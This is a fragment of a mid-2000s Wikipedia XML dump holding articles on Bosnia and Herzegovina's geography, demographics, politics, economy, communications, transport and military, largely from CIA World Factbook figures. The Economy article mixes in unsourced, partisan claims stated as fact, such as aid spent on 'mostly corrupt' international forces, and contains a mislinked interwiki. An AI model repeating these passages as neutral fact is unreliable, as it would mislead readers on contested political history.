        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Bosnia and Herzegovina]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Bosnia and Herzegovina</title>
    <id>3604</id>
    <revision>
      <id>32128246</id>
      <timestamp>2005-12-20T18:29:54Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">'''Location:'''
Southeastern Europe, bordering the Adriatic Sea and Croatia.

&lt;div style=&quot;float: right&quot;&gt;[[Image:Bk-map.png]]&lt;/div&gt;

'''Geographic coordinates:'''
{{coor d|44|N|18|E|}}

'''Map references:'''
Bosnia and Herzegovina, Europe

'''Area:'''
&lt;br /&gt;''total:''
51,129 km²
&lt;br /&gt;''land:''
51,129 km²
&lt;br /&gt;''water:''
0 km²

'''Area - comparative:'''
slightly smaller than [[West Virginia]]

'''Land boundaries:'''
&lt;br /&gt;''total:''
1,459 km
&lt;br /&gt;''border countries:''
[[Croatia]] 932 km, [[Serbia and Montenegro]] 527 km (312 km with [[Serbia]], 215 km with [[Montenegro]])

'''Coastline:'''
23 km

'''Maritime claims:'''
NA

'''Climate:'''
hot summers and cold winters; areas of high elevation have short, cool summers and long, severe winters; mild, rainy winters along coast

'''Terrain:'''
mountains and valleys

'''Elevation extremes:'''
&lt;br /&gt;''lowest point:''
Adriatic Sea 0 m
&lt;br /&gt;''highest point:''
Maglic 2,386 m

'''Natural resources:'''
coal, iron, bauxite, manganese, forests, copper, chromium, lead, zinc, hydropower

'''Land use:'''
&lt;br /&gt;''arable land:''
14%
&lt;br /&gt;''permanent crops:''
5%
&lt;br /&gt;''permanent pastures:''
20%
&lt;br /&gt;''forests and woodland:''
39%
&lt;br /&gt;''other:''
22% (1993 est.)

'''Irrigated land:'''
20 km² (1993 est.)

'''Natural hazards:'''
destructive earthquakes

'''Environment - current issues:'''
air pollution from metallurgical plants; sites for disposing of urban waste are limited; widespread casualties, water shortages, and destruction of infrastructure because of the 1992-95 civil strife

'''Environment - international agreements:'''
&lt;br /&gt;''party to:''
Air Pollution, Law of the Sea, Marine Dumping, Marine Life Conservation, Nuclear Test Ban, Ozone Layer Protection
&lt;br /&gt;''signed, but not ratified:''
none of the selected agreements

==See also==
*[[Geography of Europe]]
*[[Bosnia and Herzegovina]]

[[Category:Geography of Bosnia and Herzegovina|*]]

{{CIA WFB 2005}}

[[es:Geografía de Bosnia-Herzegovina]]
[[pt:Geografia da Bósnia-Herzegovina]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Bosnia and Herzegovina</title>
    <id>3605</id>
    <revision>
      <id>38996485</id>
      <timestamp>2006-02-10T00:45:47Z</timestamp>
      <contributor>
        <username>AJR</username>
        <id>239201</id>
      </contributor>
      <minor />
      <comment>/* Languages */ restore Bosnian and link</comment>
      <text xml:space="preserve">==Demographic data from the CIA World Factbook==

===Population===
:4,025,476 (July 2005 est.)

===Age structure===
:0-14 years: 18.3% (male 378,784/female 358,784)
:15-64 years: 70.7% (male 1,458,405/female 1,388,793)
:65 years and over: 10.9% (male 188,741/female 251,969) (2005 est.)

===Median age===
:Total: 36.21 years
:Male: 35.81 years
:Female: 36.63 years (2005 est.)

===Population growth rate===
:0.44% (2005 est.)

===Birth rate===
:14.49 births/1,000 population (2005 est.)

===Death rate===
:8.44 deaths/1,000 population (2005 est.)

===Net migration rate===
:0.3 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.07 
:65 years and over: 0.75 male(s)/female
:Total population: 1.01 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 21.05 deaths/1,000 live births
:Male: 23.62 deaths/1,000 live births
:Female: 18.31 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 72.85 years
:Male: 70.09 years
:Female: 75.8 years (2005 est.)

===Total fertility rate===
:1.71 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: less than 0.1% (2001 est.)
:People living with HIV/AIDS: 900 (2003 est.)
:Deaths: 100 (2001 est.)

===Nationality===
:Noun: Bosnian(s), Herzegovinian(s)
:Adjective: Bosnian, Herzegovinian

===Ethnic groups===
:Serb 37.1%, Bosniak 48%, Croat 14.3%, other 0.6% (2000)
''Note'': Bosniak has replaced Muslim as an ethnic term in part to avoid confusion with the religious term Muslim - an adherent of Islam

===Religions===
:Islam 40%, Orthodox 31%, Roman Catholic 15%, other 14%

===Languages===
:[[Bosnian language|Bosnian]] (status disputed), [[Croatian language|Croatian]], [[Serbian language|Serbian]]

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 94.6%
:Male: 98.4%
:Female: 91.1% (2000 est.)

==See also==
* [[Bosnia and Herzegovina]]
* [[Nations of Bosnia and Herzegovina]]

==References==
{{CIA WFB 2005}} 

==External links==
*[http://www.fzs.ba/Eng/lsmse.htm Living standard measurement survey 2001]

[[Category:Demographics by country|Bosnia]]
[[Category:Geography of Bosnia and Herzegovina]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Bosnia and Herzegovina</title>
    <id>3606</id>
    <revision>
      <id>41757579</id>
      <timestamp>2006-03-01T15:02:22Z</timestamp>
      <contributor>
        <ip>193.0.117.249</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Politics of Bosnia and Herzegovina}}
'''Politics of Bosnia and Herzegovina''' takes place in a framework of a [[federation|federal]] [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Council of Ministers of Bosnia and Herzegovina]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. Federal [[legislative power]] is vested in both the [[government]] and parliament.
The [[Judiciary]] is independent of the executive and the legislature.
Bosnia and Herzegovina is divided into two ''Entities'' - the [[Federation of Bosnia and Herzegovina]] and the [[Republika Srpska]], as well as the district of [[Brčko]]. Each of the Entities has its own constitution.
:''See [[Political divisions of Bosnia and Herzegovina]]''

==Dayton Agreement==
Due to the [[Dayton Agreement]], signed [[14 December]] [[1995]], Bosnia and Herzogovina forms an international protectorate, with decisive power given to the [[High Representative for Bosnia and Herzegovina]]. It retained Bosnia's exterior border and created a joint multi-ethnic and democratic government. This national government - based on proportional representation similar to that which existed in the former socialist regime - is charged with conducting foreign, economic, and fiscal policy.

The Dayton Agreement established the Office of the [[High Representative for Bosnia and Herzegovina|High Representative]] (OHR) to oversee the implementation of the civilian aspects of the agreement. About 250 international and 450 local staff members are employed by the OHR.

== Executive branch ==

The [[Presidency of Bosnia and Herzegovina]] rotates among three members (Bosniak, Serb, Croat), each elected for a 4-year term. The three members of the Presidency are elected directly by the people (Federation votes for the Bosniak/Croat, RS for the Serb).

The Presidency is the [[head of state]] institution and it is mainly responsible for the [[foreign policy]] and proposing the [[budget]].

The Chairman of the [[Council of Ministers of Bosnia and Herzegovina]] is nominated by the Presidency and approved by the House of Representatives. He is then responsible for appointing a Foreign Minister, Minister of Foreign Trade, and others as appropriate.

The Council is responsible for carrying out various policies and decisions in the fields of diplomacy, economy, inter-Entity relations and other matters as agreed by the Entities.

Each of the Entities has its own Council of Ministers, which deal with internal matters not dealt with by the state Council.

=== Principal Government Officials ===
{{office-table}}
|[[High Representative for Bosnia and Herzegovina|High Representative]]
|[[Christian Schwarz-Schilling]]
|
|[[31 January]] 2006
|-
|rowspan=3|Members of the [[Presidency of Bosnia and Herzegovina|Presidency]]
|[[Ivo Miro Jović]] (Croat)
|[[Croatian Democratic Union of Bosnia and Herzegovina|HDZ]]
|[[9 May]] 2005
|-
|[[Sulejman Tihić]] (Bosniak)
|[[Party of Democratic Action|SDA]]
|[[5 October]] 2002
|-
|[[Borislav Paravac]] (Serb)
|
|[[11 April]] 2003
|-
|President of the [[Council of Ministers of Bosnia and Herzegovina|Council of Ministers]]
|[[Adnan Terzić]] (Bosniak)
|[[Party of Democratic Action|SDA]]
|[[2002]]
|-
|President of the [[Federation of Bosnia and Herzegovina]]
|[[Niko Lozančić]] (Croat)
|[[Croatian Democratic Union of Bosnia and Herzegovina|HDZ]]
|[[27 January]] 2003
|-
|rowspan=2|Vice-presidents
|[[Sahbaz Džihanović]] (Bosniak)
|[[Party of Democratic Action|SDA]]
|
|-
|[[Desnica Radivojević]] (Serb)
|[[Party of Democratic Action|SDA]]
|
|-
|Prime minister of the [[Federation of Bosnia and Herzegovina]]
|[[Ahmet Hadžipašić]]
|[[Party of Democratic Action|SDA]]
|[[14 February]] 2003
|-
|President of the [[Republika Srpska]]
|[[Dragan Čavić]]
|
|[[28 November]] 2002
|-
|Prime minister of the Republic Srpska
|[[Pero Bukejlović]]
|
|[[10 January]] 2005
|-
|International supervisor of [[Brčko]]
|[[Susan R. Johnson]]
|
|
|-
|Mayor of [[Brčko]]
|[[Branko Damjanac]]
|
|
|}

=== History ===

Past international [[High Representative for Bosnia and Herzegovina|high representative]]s: [[Carl Bildt]], [[Carlos Westendorp]], [[Wolfgang Petritsch]].

Members of the Presidency who stepped down under pressure from the Office of the High Representative: [[Mirko Šarović]] and [[Ante Jelavić]].

In February 2000, the Supreme Court ruled that the structure of the Council of Ministers was unconstitutional; a new structure was being negotiated.

Federation president and vice-president in 1999: [[Ejup Ganić]]
and [[Ivo Andrić-Lužanski]]

Past RS presidents at the [[ICTY]]: [[Momčilo Krajišnik]], [[Radovan Karadžić]], [[Biljana Plavšić]].

RS president [[Nikola Poplašen]] was removed by the OHR on [[5 March]] [[1999]]. [[Mirko Šarović]]'s first mandate in 2000 was not recognized by the OHR.

Past members of government:
* Federation minister [[Hasan Čengić]]

== Legislative branch ==

The Parliamentary Assembly or ''Skupština'' is the lawmaking body in Bosnia and Herzegovina. It [[bicameralism|consists of two houses]]:
* the House of Peoples or ''Vijeće Naroda''
* the [[House of Representatives of Bosnia and Herzegovina|National House of Representatives]] or ''Vijeće Općina''

The Parliamentary Assembly is responsible for:
* enacting legislation as necessary to implement decisions of the Presidency or to carry out the responsibilities of the Assembly under the Constitution
* deciding upon the sources and amounts of revenues for the operations of the institutions of Bosnia and Herzegovina and international obligations of Bosnia and Herzegovina
* approving a budget for the institutions of Bosnia and Herzegovina
* deciding whether to consent to the ratification of treaties
* other matters as are necessary to carry out its duties of as are assigned to it by mutual agreement of the Entities.

Bosnia and Herzegovina did not have a permanent election law until 2001, during which time a draft law specified four-year terms for the state and first-order administrative division entity legislatures. The final election law was passed and published on [[September 9]], [[2001]].

=== House of Peoples ===

The House of Peoples includes 15 delegates who serve two-year terms. Two-thirds of them come from the Federation (5 Croats and 5 Bosniaks) and one-third from the RS (5 Serbs). Nine members of the House of Peoples constitutes a quorum, provided that at least three delegates from each group are present. Federation representatives are selected by the House of Peoples of the Federation, which has 58 seats (17 Bosniak, 17 Croat, 17 Serb, 7 others) and whose members are delegated by cantonal assemblies to serve 4-year terms. RS representatives are selected by the 28-member Republika Srpska Council of Peoples which was established in the Republika Srpska National Assembly; each constituent nation has eight delegates, &quot;others&quot; have four delegates.

=== House of Representatives ===

The [[House of Representatives of Bosnia and Herzegovina|House of Representatives]] is comprised of 42 Members, two-thirds elected to serve four-year terms from the Federation (14 Croats and 14 Bosniaks) and one-third elected from the RS (14 Serbs). Federation members come from the Federation House of Representatives with 98 seats whose members are elected by popular vote to serve four-year terms. RS members come from the RS National Assembly, which has 83 seats and whose members are elected by popular vote to serve 4-year terms.

== Political parties and elections ==
{{elect|List of political parties in Bosnia and Herzegovina|Elections in Bosnia and Herzegovina}}
{{Bosnian presidium election, 2002}}
{{Bosnian legislative election, 2002}}
=== Election history ===

National House of Representatives:
* elections held 12-[[13 September]] [[1998]]:
** seats by party/coalition - KCD 17, HDZ-BiH 6, SDP-BiH 6, Sloga 4, SDS 4, SRS-RS 2, DNZ 1, NHI 1, RSRS 1
* elections held [[5 October]] [[2002]]:
** percent of vote by party/coalition - SDA 21.9%, SDS 14.0%, SBiH 10.5%, SDP 10.4%, SNSD 9.8%, HDZ 9.5%, PDP 4.6%, others 19.3%
** seats by party/coalition - SDA 10, SDS 5, SBiH 6, SDP 4, SNSD 3, HDZ 5, PDP 2, others 7

House of Peoples:
* constituted [[4 December]] [[1998]]
* constituted in fall 2000
* constituted in January 2003
* next to be constituted in 2007

Federation House of Representatives:
* elections held fall 1998:
** seats by party/coalition - KCD 68, HDZ-BiH 28, SDP-BiH 25, NHI 4, DNZ 3, DSP 2, BPS 2, HSP 2, SPRS 2, BSP 1, KC 1, BOSS 1, HSS 1
* elections held [[5 October]] [[2002]]:
** seats by party/coalition - SDA 32, HDZ-BiH 16, SDP 15, SBiH 15, other 20

Federation House of Peoples:
* constituted November 1998
* constituted December 2002

Republika Srpska National Assembly:
* elections held fall 1998
** seats by party/coalition - SDS 19, KCD 15, SNS 12, SRS-RS 11, SPRS 10, SNSD 6, RSRS 3, SKRS 2, SDP 2, KKO 1, HDZ-BiH 1, NHI 1
* elections held fall 2000
* elections held [[5 October]] [[2002]]
** seats by party/coalition - SDS 26, SNSD 19, PDP 9, SDA 6, SRS 4, SPRS 3, DNZ 3, SBiH 4, SDP 3, others 6

== Judicial branch ==

=== Constitutional Court ===

The Constitutional Court of Bosnia and Herzegovina is the supreme, final arbiter of legal matters. It is composed of nine members: four members are selected by the House of Representatives of the Federation, two by the Assembly of the RS, and three by the President of the [[European Court of Human Rights]] after consultation with the Presidency.

Terms of initial appointees are 5 years, unless they resign or are removed for cause by consensus of the other judges. Once appointed, judges are not eligible for reappointment. Judges subsequently appointed will serve until the age of 70, unless they resign or are removed for cause. Appointments made 5 years after the initial appointments may be governed by a different law of selection, to be determined by the Parliamentary Assembly.

Proceedings of the Court are public, and decisions will be published. Rules of court are adopted by a majority of the Court, and decisions are final and binding.

The Constitutional Court's original jurisdiction lies in deciding any constitutional dispute that arises between the Entities or between Bosnia and Herzegovina and an Entity or Entities. Such disputes may be referred only by a member of the Presidency, by the Chair of the Council of Ministers, by the Chair or Deputy Chair of either chamber of the Parliamentary Assembly, or by one-fourth of the legislature of either Entity.

The Court also has appellate jurisdiction within the territory of Bosnia and Herzegovina.

=== State Court ===

The [[State Court of Bosnia and Herzegovina]] consists of nine judges and three divisions - Administrative, Appellate and Criminal - having jurisdiction over cases related to state-level law and appellate jurisdiction over cases initiated in the entities.

Note - a War Crimes Chamber may be added at a future date.

=== Entities ===

The entities each have a Supreme Court. Each entity also has a number of lower courts. There are 10 cantonal courts in the Federation, plus a number of municipal courts. The Republika Srpska has five municipal courts.

== External links ==
* [http://www.ohr.int/ Office of the High Representative]
* [http://www.izbori.ba/ Election Commission of Bosnia and Herzegovina]
* [http://www.vladars.net/ Government of the Republic of Srpska]
* [http://www.fbihvlada.gov.ba/ Government of the Federation of Bosnia and Herzegovina]
* [http://www.brcko.ba/ Government of the Brčko District of Bosnia and Herzegovina]

{{CIA}}
[[Category:Politics of Bosnia and Herzegovina|*]]

[[pt:Política da Bósnia-Herzegovina]]
[[pl:Ustrój polityczny Bośni i Hercegowiny]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Bosnia and Herzegovina</title>
    <id>3607</id>
    <revision>
      <id>40705204</id>
      <timestamp>2006-02-22T12:54:11Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Economy of Bosnia and Herzegovina''' since Bosnia and Herzegovina's declaration of sovereignty in October 1991 and the declaration of independence from the former Yugoslavia on [[3 March]] [[1992]].

==Overview==

For the most part, [[agriculture]] has been in private hands, but farms have been small and inefficient, and food has traditionally been a net import for the republic.

The [[centrally planned economy]] has resulted in some legacies in the economy. [[Industry]] is greatly overstaffed, reflecting the rigidity of the planned economy. Under [[Josip Broz Tito]], military industries were pushed in the republic; Bosnia hosted a large share of Yugoslavia's defence plants for military reasons. Bosnia was in the center of former Yugoslavia. People throughout Bosnia and Herzegovina did not have much interest in those military installations because that was property of the JNA and all taxes and profits from those companies went to Belgrade. Two major export civilian companies in former Yugoslavia had their headquarters in a very dynamic town in that country in those times, the capital Sarajevo; 'UNIS' holding and 'Energoinvest' holding.  

In the former Yugoslavia, Bosnia and Herzegovina financed many huge projects in other former Yugoslav republics. For example, the highway 'Bratstvo i jedinstvo', Ljubljana (Slovenia) - Zagreb (Croatia) - Belgrade (Serbia) - Skoplje (Macedonia). Not one single kilometer of that highway were planned or constructed in Bosnia and Herzegovina; construction of the town in Belgrade (Serbia) so-called 'New Belgrade'; Kosovo financing; the railway Belgrade - Bar in Serbia and Montenegro are all examples. 

Of course during the former Yugoslavia economy was [[communist]] and was a centrally planned economy from Belgrade, without free market laws. So Bosnia and Herzegovina was mostly a donor republic in former Yugoslavia in money and other ways. The money during former Yugoslavia times went in one direction, out of Bosnia and Herzegovina, to Belgrade or sometimes to Zagreb and Ljubljana. In 1984 Bosnia and Herzegovina and the capital Sarajevo were host of the XIV Winter Olympic Games or first Olympic Games in history which were finished with profit.

[[History of Bosnia and Herzegovina#19th and 20th century|Three years of War]] (1992-1995) destroyed the economy and infrastructure in Bosnia, causing [[unemployment]] to soar, as well as causing the death of about 100,000 people and displacing half of the population.

Bosnia has been facing a dual challenge: not only must the nation recover from the war, but it also has to finish the transition from [[socialism]] to [[capitalism]].

With an uneasy peace in place, output recovered in 1996-98 at high percentage rates on a low base; but output growth slowed appreciably in 1999, and GDP remains far below the 1990 level.

Economic data are of limited use because, although [[Political divisions of Bosnia and Herzegovina|both entities]] issue figures, national-level statistics are not available. Moreover, official data do not capture the large share of activity that occurs on the [[black market]]. The [[Grey market]] is a notable source of income for Bosnian traders.

A Central Bank of Bosnia and Herzegovina was established in late 1997, successful debt negotiations were held with the [[London Club]] in December 1997 and with the [[Paris Club]] in October 1998, and a new currency, the [[Convertible Mark]], was introduced in mid-1998. In 1999, the Convertible Mark gained wider acceptance, and the Central Bank dramatically increased its reserve holdings.

Due to Bosnia's strict currency board regime, [[inflation]] has remained low in the [[Federation of Bosnia and Herzegovina|Federation]] and [[Republika Srpska|RS]].

The country receives substantial amounts of reconstruction assistance and [[humanitarian aid]] from the international community. Support for Eastern European Democracy (SEED) assistance accounts for 20%-25% of [[economic growth]] in Bosnia.

However, growth has been uneven throughout the post-war period, with the Federation outpacing the RS. According to World Bank estimates, GDP growth was 62% in the Federation and 25% in the RS in 1996, 35% in the Federation and flat in the RS in 1997, and continued growth in the Federation in 1998. 

After the last Serbian aggression on Bosnia and Herzegovina (1992-1995), Bosnia and Herzegovina received smaller international aid than for example Serbia and Montenegro. Sarajevo city, received also smaller international aid than Belgrade even though Sarajevo was under siege for three years. Most international aid was spend on mostly corrupt international forces (OHR, UN and aid organisations etc.) based in Bosnia and Herzegovina. A minor part of that international aid was received by people in B&amp;H who needed aid.

Movement has been slow, but considerable progress has been made in economic reform since peace was re-established in the republic. [[Banking]] reform lagged, as did the implementation of [[privatization]]. Many companies (mainly factories) that were privatized faced massive problems, causing the owners to reduce salaries and deny the workers their salaries. Combined with persistent inter-ethnic problems in the country, for many workers this meant that they had a useless job, getting payed perhaps after two three or even six months late only for one month, but one which they clinged on to. They don't want to leave the job because they think someone from another nationality will then get it. The privatized factories are now owned mostly by Germans and foreigners, who used webcams to monitor the workers. One example of all this is the Alloy factory in [Jajce] which produces wheels for cars, sold in Germany or other EU members. 

The [[tourism]] sector has been recovering and helping the economy altogether in the process, with popular winter skiing destinations as well as summer countryside tourism. An estimated 500,000 tourists visit Bosnia and Herzegovina every year and contribute much of the foreign currency in the country. Of particular note is the [[diaspora]] population which often returns home during the summer months, bringing in an increase in retail sales and food service industry.

[[Political corruption]] is one of the more acute problems in Bosnia and Herzegovina, and the main one that accounts for low amount of tax money used for the population, due to government inefficiency and corruption, especially at the lowest levels.

Bosnia has been preparing for an era of declining international assistance. Bosnia's most immediate task remains economic revitalization to create jobs and [[income]]. In order to do this the workers need to form unions and demand their payment or similar. The owners need to pay the salaries all months the full salary agreed upon.

The Bosnian government plans to issue an international tender for the construction of the 350 km long Corridor 5c in Bosnia and Herzegovina which will passes along the route Budapest-Osijek-Sarajevo-Ploce. The highway along this corridor is the most significant roadway in B&amp;H and the shortest communication route between Middle Europe and the Adriatic. The routing of the road passes through the central part of the country in the North-South direction from Donji Svilaj to the border of B&amp;H, north from the port of Ploce, following the rivers Bosna and Neretva. More than 50% of the total population and the economic activity of Bosnia and Herzegovina lies within the zone of influence along this route.
 
Project documentation for that highway is ready, so in January 2006, the Bosnian government will issue an international tender for construction of the highway Corridor 5C using a DBFOT system (Design, Build, Finance, Operate, Transfer). Using this system, the concessionaire secures finance, bears all business risks and upon expiration of the concession period, transfers the highway to the state of Bosnia and Herzegovina. The estimated cost for the construction of the highway is 2.5 billion EUR.

==Statistical indicators==

''From the [[CIA World Factbook]] 2004''

'''GDP:'''
purchasing power parity - $24.39 [[billion]] (24.39 G$) (2003 est.)

'''GDP - real growth rate:'''
3.8% (2003 est.)

'''GDP - per capita:'''
purchasing power parity - $6,100 (2003 est.)

'''GDP - composition by sector:'''
&lt;br /&gt;''agriculture:''
13%
&lt;br /&gt;''industry:''
40.9%
&lt;br /&gt;''services:''
46.1% (2001 est.)

'''Population below poverty line:'''
NA% (2003 est.)

'''Household income or consumption by percentage share:'''
&lt;br /&gt;''lowest 10%:''
NA%
&lt;br /&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
3.5% (2002 est.)

'''Labour force:'''
1.026 million (2001)

'''Labour force - by occupation:'''
agriculture NA%, industry NA%, services NA%

'''Unemployment rate:'''
40% (2002 est.)

'''Budget:'''
&lt;br /&gt;''revenues:''
$1.9 billion
&lt;br /&gt;''expenditures:''
$2.2 billion, including capital expenditures of $NA (1999 est.)

'''Industries:'''
steel, coal, iron ore, lead, zinc, manganese, bauxite, vehicle assembly, textiles, tobacco products, wooden furniture, tank and aircraft assembly, domestic appliances, oil refining (2001)

'''Industrial production growth rate:'''
5.5% (2003 est.)

'''Electricity - production:'''
9.979 TWh (1998)

'''Electricity - production by source:'''
&lt;br /&gt;''fossil fuel:''
53.5%
&lt;br /&gt;''hydro:''
46.5%
&lt;br /&gt;''nuclear:''
0%
&lt;br /&gt;''other:''
0% (2001)

'''Electricity - consumption:'''
8.116 TWh (2001)

'''Electricity - exports:'''
2.569 TWh (2001)

'''Electricity - imports:'''
1.405 TWh (2001)

'''Oil - production:'''	
0 barrel/day (2001 est.)

'''Oil - consumption:'''	
20,000 barrel/day (3,000 m³/d) 2001

'''Natural gas - production:'''
0 m³ (2001 est.)

'''Natural gas - consumption:'''
300 million m³ (2001 est.)

'''Natural gas - exports:'''
0 m³ (2001 est.)

'''Natural gas - imports:'''
300 million m³ (2001 est.)

'''Agriculture - products:'''
wheat, corn, fruits, vegetables; livestock

'''Exports:'''
$1.28 billion f.o.b. (2003 est.)

'''Exports - commodities:'''
metals, clothing, wood products

'''Exports - partners:'''
Italy 31.4%, Croatia 17.8%, Germany 13%, Austria 10%, Slovenia 7.1%, Greece 4.2% (2002)

'''Imports:'''
$4.7 billion f.o.b. (2003 est.)

'''Imports - commodities:'''
machinery and equipment, chemicals, fuels, foodstuffs

'''Imports - partners:'''
Croatia 22.8%, Slovenia 15.3%, Germany 13.7%, Italy 12.6%, Hungary 7.6%, Austria 7.4% (2002)

'''Debt - external:'''
$2.8 billion (2001)

'''Economic aid - recipient:'''
$650 million (2001 est.)

'''Currency:'''
1 [[Convertible Mark|konvertibilna marka (KM/BAM)]] = 100 konvertibilnih [[pfennig]]a

'''Exchange rates:'''
convertible marks per US$1 - 1.73 (2003), 1.73 (2002), 2.19 (2001), 2.12 (2000), 1.84 (1999)

'''Fiscal year:'''
calendar year

==See also==
* [[Economy of Europe]]
* [[Bosnia and Herzegovina]]

[[Category:Economy of Bosnia and Herzegovina| ]]
[[Category:Economies by country|Bosnia and Herzegovina]]

[[pt:Economia da Bósnia-Herzegovina]]
[[zh:伯利兹]]</text>
    </revision>
  </page>
  <page>
    <title>Communications of Bosnia and Herzegovina</title>
    <id>3608</id>
    <revision>
      <id>27161727</id>
      <timestamp>2005-11-02T13:22:00Z</timestamp>
      <contributor>
        <username>PANONIAN</username>
        <id>157515</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
885,000 (2002)

'''Telephones - mobile cellular:'''
707,000 (2002)

'''Telephone system:'''
telephone and telegraph network is in need of modernization and expansion; many urban areas are below average when compared with services in other former Yugoslav republics
&lt;br /&gt;''domestic:''
NA
&lt;br /&gt;''international:''
no [[satellite]] earth stations

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 8, FM 16, shortwave 1 (1998)

'''Radios:'''
940,000 (1997)

'''[[Television]] broadcast stations:'''
33 (plus 292 repeaters) (September 1995)

'''Televisions:'''
NA

'''[[Internet Service Provider]]s (ISPs):'''
30 (2003)

'''[[Internet]] users:'''
45,000 (2001) (est. 65,000 (2003))

'''[[Country code]] (top level domain):''' BA

:''See also :'' [[Bosnia and Herzegovina]]

[[Category:Communications of Bosnia and Herzegovina| ]]</text>
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  </page>
  <page>
    <title>Transportation in Bosnia and Herzegovina</title>
    <id>3609</id>
    <revision>
      <id>27161002</id>
      <timestamp>2005-11-02T13:06:18Z</timestamp>
      <contributor>
        <username>PANONIAN</username>
        <id>157515</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">== Railways ==
&lt;br /&gt;''total:''
1,021 km (electrified 795 km)
&lt;br /&gt;''standard gauge:''
1,021 km 1.435-m gauge (1995); note - some segments still need repair and/or reconstruction

=== Rail links with adjacent countries ===

* [[Transportation in Croatia|Croatia]] - ??
* [[Transportation in Serbia and Montenegro|Serbia and Montenegro]] - ??

== Highways ==
&lt;br /&gt;''total:''
21,846 km
&lt;br /&gt;''paved:''
11,425 km
&lt;br /&gt;''unpaved:''
10,421 km (1996 est.)
&lt;br /&gt;''note:''
roads need maintenance and repair

== Waterways ==
NA km; large sections of the Sava blocked by downed bridges, silt, and debris

== Pipelines ==
crude oil 174 km; natural gas 90 km (1992); note - pipelines now disrupted

== Ports and harbors ==
Bosanska Gradiska, Bosanski Brod, Bosanski Samac, and Brcko (all inland waterway ports on the Sava none of which are fully operational), Orasje

== Merchant marine ==
none (1999 est.)

== Airports ==
27 (1999 est.)

=== Airports - with paved runways ===
&lt;br /&gt;''total:''
9
&lt;br /&gt;''2,438 to 3,047 m:''
4
&lt;br /&gt;''1,524 to 2,437 m:''
2
&lt;br /&gt;''under 914 m:''
3 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br /&gt;''total:''
18
&lt;br /&gt;''1,524 to 2,437 m:''
1
&lt;br /&gt;''914 to 1,523 m:''
7
&lt;br /&gt;''under 914 m:''
10 (1999 est.)

=== Heliports ===
4 (1999 est.)

== See also ==
* [[Bosnia and Herzegovina]]

[[Category:Transportation in Bosnia and Herzegovina|*]]</text>
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  <page>
    <title>Military of Bosnia and Herzegovina</title>
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      <text xml:space="preserve">'''[[Military]] of [[Bosnia and Herzegovina]]''':

==Army Patches==

&lt;gallery&gt;
Image:Bosnia_coa.PNG|Bosnia and Herzegovina
Image:CoAFBH.jpg|Federation of Bosnia and Herzegovina
Image:Republika Srpska coat large.png|Republika Srpska
&lt;/gallery&gt;

==Military Photos==

&lt;gallery&gt;
Image:Aai.jpg|
Image:Ach.jpg|
Image:Aax.jpg|
Image:Aeq.jpg|
&lt;!-- Unsourced image removed: Image:Aaw.jpg| --&gt;
Image:Agaaa.jpg|
Image:Agb.jpg|
&lt;!-- Unsourced image removed: Image:Aal.jpg| --&gt;
&lt;!-- Unsourced image removed: Image:Aec.jpg| --&gt;
Image:Abtt.jpg|
&lt;!-- Unsourced image removed: Image:Abd.jpg| --&gt;
Image:Acr.jpg|
Image:Aeu.jpg|
&lt;/gallery&gt;

==Foreign armies==

In 1995-96, a NATO-led international peacekeeping force ([[IFOR]]) of 60,000 troops served in Bosnia, beginning on [[December 21]]st [[1995]] to implement and monitor the military aspects of the agreement.

IFOR was succeeded by a smaller, NATO-led Stabilization Force or [[SFOR]].  The number of SFOR troops was reduced first to 12,000 and then to 7,000.

SFOR was in turn succeeded by an even smaller, [[EU]]-led European Union Force or [[EUFOR]] (Althea). [[As of 2004]], EUFOR numbers ca. 7,000 troops.

==Domestic armies==

Oruzane snage Bosne i Hercegovine (OSBIH); Armed Forces of Bosnia and Herzegovina.

Central command, which was unified in 2003 into the [[OSB&amp;H]].

==Statistical indicators==
'''Military service age and obligation:'''
18 years of age for compulsory military service in the Federation of Bosnia and Herzegovina; 16 years of age in times of war; 18 years of age for Republika Srpska; 17 years of age for voluntary military service in the Federation and in the Republika Srpska; by law, military obligations cover all healthy men between the ages of 18 and 60, and all women between the ages of 18 and 55; service obligation is 4 months (July 2004)

'''Manpower available for military service:'''
&lt;br /&gt;''males age 18-49:''
1,034,367 (2005 est.)

'''Manpower fit for military service:'''
&lt;br /&gt;''males age 18-49:''
829,530 (2005 est.)

'''Manpower reaching military service age annually:'''
&lt;br /&gt;''males:''
31,264 (2005 est.)

'''Military expenditures - dollar figure:'''
$234.3 million (FY02)

'''Military expenditures - percent of GDP:'''
4.5% (FY02)

==See also==
*[[Bosnia and Herzegovina]]

==External links==
* [http://www.mod.gov.ba/index.php MO Bosne i Hercegovine, МО Босне и Херцеговине, MoD of Bosnia and Herzegovina]
* [http://www.euforbih.org/ European Union Force in Bosnia and Herzegovina - EUFOR]
* [http://www.nato.int/sfor/index.htm Stabilisation Force in Bosnia and Herzegovina - SFOR]
* [http://www.oscebih.org/oscebih_eng.asp OSCE Mission to Bosnia and Herzegovina]

[[Category:Military of Bosnia and Herzegovina| ]]
[[Category:Militaries|Bosnia and Herzegovina]]</text>
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    <title>Foreign relations of Bosnia and Herzegovina</title>
